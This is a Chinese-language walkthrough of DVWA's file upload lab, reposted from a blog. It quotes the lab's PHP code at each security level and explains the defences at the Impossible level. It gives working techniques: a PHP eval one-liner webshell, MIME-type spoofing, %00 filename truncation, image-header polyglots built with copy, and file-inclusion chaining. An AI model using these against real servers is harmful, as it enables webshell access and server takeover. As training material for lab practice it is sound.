DVWA File Upload 通關教程


File Upload,即文件上傳。文件上傳漏洞通常是由於對上傳文件的類型、內容沒有進行嚴格的過濾、檢查,使得攻擊者可以通過上傳木馬獲取服務器的webshell權限,因此文件上傳漏洞帶來的危害常常是毀滅性的。

先看常規的文件上傳操作:

客戶端上傳:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>文件上傳操作</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
    用戶名:<input type="text" name="username"><br />
    頭像:<input type="file" name="img"><br />
    <input type="submit" value="提交">
</form>
</body>
</html>

在HTML <form>標簽中enctype屬性規定在發送到服務器之前應該如何對表單數據進行編碼。

它的值有三種:

application/x-www-form-urlencoded: 在發送前編碼所有字符(默認)

multipart/form-data: 不對字符編碼。在使用包含文件上傳控件的表單時,必須使用該值。

text/plain: 空格轉換為 "+" 加號,但不對特殊字符編碼。

服務端接收:

使用$_FILES數組接收參數。

我們打印$_FILES

print_r($_FILES);

發現上傳一個文件時的屬性有:

[name] => feng.jpeg     文件的名稱
[type] => image/jpeg     文件的MIME類型
[tmp_name] => C:\Users\Administrator\AppData\Local\Temp\php2007.tmp  文件的臨時位置
[error] => 0       文件的錯誤信息  0 ok      1234 error
[size] => 2859    文件的大小

文件上傳漏洞的利用的條件:

1.能夠成功上傳木馬文件
2.上傳文件必須能夠被執行
3.上傳文件的路徑必須可知

下面對四種級別的代碼進行分析。

 

Low Security Level:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?> 

basename()函數返回路徑中的文件名部分。

string basename ( string $path [, string $suffix ] )

參數介紹:

$path:必需。規定要檢查的路徑。在Windows中,斜線(/)和反斜線(\)都可以用作目錄分隔符。在其它環境下是斜線(/)。

$suffix:可選。規定文件擴展名。如果文件有suffix,則不會輸出這個擴展名。

舉例:

<?php
$path = "/testweb/home.php";

//顯示帶有文件擴展名的文件名
echo basename($path);

//顯示不帶有文件擴展名的文件名
echo basename($path,".php");
?> 

輸出:

home.php
home

Exploit
因為對於上面的利用條件全都滿足,直接上傳文件x.php(一句話木馬)

<?php @eval($_POST['x']);?>

上傳成功得到路徑:

http://www.dvwa.com/hackable/uploads/x.php

菜刀成功連接

 

Medium Security Level

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
?> 

從代碼中可以看到,Medium Security Level的代碼對上傳文件的類型、大小做了限制,要求文件類型必須是jpeg或者png,大小不能超過100000B(約為97.6KB)。

Exploit

1).抓包修改文件類型

上傳x.png文件,使用Burpsuite抓包:

可以看到文件類型為image/png,嘗試修改filename為x.php,上傳后成功得到x.php文件:

菜刀連接:

http://www.dvwa.com/hackable/uploads/x.php

2).%00截斷上傳繞過

在php版本小於5.3.4的服務器中,當magic_quote_gpc選項為off時,可以在文件名中使用%00截斷,所以可以把上傳文件命名為x.php%00.png。

這里我使用php 5.2.17版本進行測試:

可以看到,包中的文件類型為image/png,可以通過文件類型檢查。點擊上傳后:

服務器會認為其文件名為x.php,順勢解析為php文件。

菜刀連接:

http://www.dvwa.com/hackable/uploads/x.php%00.png

3)文件上傳+文件包含

因為采用的是一句話木馬,所以文件大小符合要求,至於文件類型的檢查,嘗試修改文件名為x.png,上傳成功:

但不能解析識別出是PHP文件,菜刀連接報錯。

此時我們想到文件包含漏洞的利用。這里可以借助Medium Security Level的文件包含漏洞來獲取webshell權限,利用方式如下:

本地文件包含:

http://www.dvwa.com/vulnerabilities/fi/?page=F:/phpStudy/PHPTutorial/WWW/hackable/uploads/x.png

遠程文件包含:

http://www.dvwa.com/vulnerabilities/fi/?page=hthttp://tp://www.dvwa.com/hackable/uploads/x.png

成功獲取webshell權限:

兩種方式,菜刀均可以成功連接。

 

 High Security Level

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
?> 

strrpos()函數:

strrpos(string,find,start)

函數返回字符串find在另一字符串string中最后一次出現的位置,如果沒有找到字符串則返回false,可選參數start規定在何處開始搜索。

函數詳細介紹:PHP strrpos() 函數

strtolower()函數:

strtolower(string)

把字符串轉換為小寫。

getimagesize()函數:

getimagesize(string filename)

getimagesize()函數用於獲取圖像大小及相關信息,成功則返回一個數組,失敗則返回FALSE並產生一條E_WARNING級的錯誤信息。

函數詳細參考:PHP 獲取圖像信息 getimagesize 函數

可以看到,High Security Level的代碼讀取文件名中最后一個.后的字符串,通過文件名來限制文件類型因此要求上傳文件名形式必須是*.jpg、*.jpeg 、*.png三者之一。getimagesize()函數更是限制了上傳文件的文件頭必須為圖像類型。

Exploit

利用思路主要是:繞過getimagesize()函數檢測識別和上傳文件名的檢測識別。

讓getimagesize()函數檢測無效的方法:文件頭欺騙,繼而使得getimagesize()函數無法判斷。

下面科普下文件頭相關的知識:

常見的圖片格式的文件頭標識如下:

JPEG/JPG - 文件頭標識 (2 bytes): FF D8 (SOI) (JPEG 文件標識) - 文件結束標識 (2 bytes): FF D9 (EOI)

PNG - 文件頭標識 (8 bytes) 89 50 4E 47 0D 0A 1A 0A

GIF - 文件頭標識 (6 bytes) 47 49 46 38 39(37) 61 |GIF89(7)a

更多格式的文件頭標識參見文章:通過文件頭標識判斷圖片格式

文件頭欺騙:偽造文件頭,使文件頭標識一樣,其它部分我們修改為一句話木馬,也就成了我們常說的圖片一句話。

下面是兩種常見的圖片一句話制作方法:

方法 1:

copy y.png/b+x.php/a z.png

copy 命令中的兩個文件的位置不能顛倒,否則生成的文件格式無效。

方法 2:

先用C32Asm十六進制模式打開y.png,然后將x.php拖入,然后另存為z.png

之后,我們將制作好的圖片一句話,用getimagesize()函數識別測試,並與原圖片文件對比,打印輸出:

<?php

header("Content-type: text/html; charset=utf-8"); 

echo "y.png:";

$array0 = getimagesize("images/y.png");
print_r($array0);

echo "<br />";

echo "copy 命令制作的圖片一句話 z1.png:";

$array1 = getimagesize("images/z1.png");
print_r($array1);

echo "C32Asm 制作的圖片一句話 z2.png:";

$array2 = getimagesize("images/z2.png");
print_r($array2);
?>

以上是打印輸出的file.php文件。

我們發現得到的數組內容沒有絲毫改變,

從而證明了兩種方法可以繞過getimagesize()函數的檢測識別。接着我們再來進行利用:

1).%00截斷上傳繞過

采用%00截斷的方法可以輕松繞過文件名的檢查,采用剛才的圖片一句話進行上傳。(適用於php小於 5.3.4 版本)

菜刀連接:

http://www.dvwa.com/hackable/uploads/z.php%00.png

2).文件上傳 + 文件包含

通過上傳圖片一句話和借助High Security Level的文件包含漏洞來進行利用:

菜刀連接:

http://www.dvwa.com/vulnerabilities/fi/?page=file:///F:/phpStudy/PHPTutorial/WWW/hackable/uploads/z.png

 

 

Impossible Security Level

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();
?> 

相關函數:

in_get(varname)

函數返回相應選項的值

imagecreatefromjpeg(filename)

函數返回圖片文件的圖像標識,失敗返回false

imagejpeg(image,filename,quality)

從image圖像以filename為文件名創建一個JPEG圖像,可選參數quality,范圍從 0(最差質量,文件更小)到 100(最佳質量,文件最大)。

imagedestroy( img )

函數銷毀圖像資源

可以看到,Impossible Security Level的代碼對上傳文件進行了重命名(為md5值,導致%00截斷無法繞過過濾規則),加入Anti-CSRF token 防護 CSRF攻擊,同時對文件的內容作了嚴格的檢查,導致攻擊者無法上傳含有惡意腳本的文件。

 

 

轉載自:AnCoLin's Blog|影風博客DVWA File Upload 通關教程


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM